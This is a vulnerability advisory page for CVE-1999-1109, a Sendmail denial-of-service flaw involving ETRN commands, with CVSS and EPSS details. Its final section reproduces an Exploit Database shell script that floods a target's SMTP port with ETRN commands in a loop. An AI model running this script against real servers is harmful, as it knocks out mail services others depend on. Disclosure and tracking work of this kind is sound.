CVE-1999-1109 Detail

CVE-1999-1109

EPSS

3.72%V3

Vector

Network

Published

2002-03-09
04h00 +00:00

Modified

2024-08-01
17h02 +00:00

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CVE.org

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CVE Descriptions

Sendmail before 8.10.0 allows remote attackers to cause a denial of service by sending a series of ETRN commands then disconnecting from the server, while Sendmail continues to process the commands after the connection has been terminated.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	5		AV:N/AC:L/Au:N/C:N/I:N/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

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Exploit information

Exploit Database EDB-ID : 19701

Publication date : 1999-12-21 23h00 +00:00
Author : Michal Zalewski
EDB Verified : Yes

source: https://www.securityfocus.com/bid/904/info There is a low-bandwidth dos vulnerability in Sendmail. When a client connects to the sendmail smtpd and sends an ETRN command to the server, the server fork()s and sleeps for 5 seconds. If many ETRN commands are sent to a server, it is possible to exhaust system resources and cause a denial of service or even a reboot of the server. #!/bin/sh TARGET=localhost COUNT=150 SLEEP=1 echo "gurghfrbl.sh - (c) lcamtuf '99" echo -n "Tickle" while :; do echo -n "." ( NIC=0 while [ "$NIC" -lt "$COUNT" ]; do echo "ETRN x" done ) | telnet $TARGET 25 &>/dev/null & sleep $SLEEP killall -9 telnet &>/dev/null done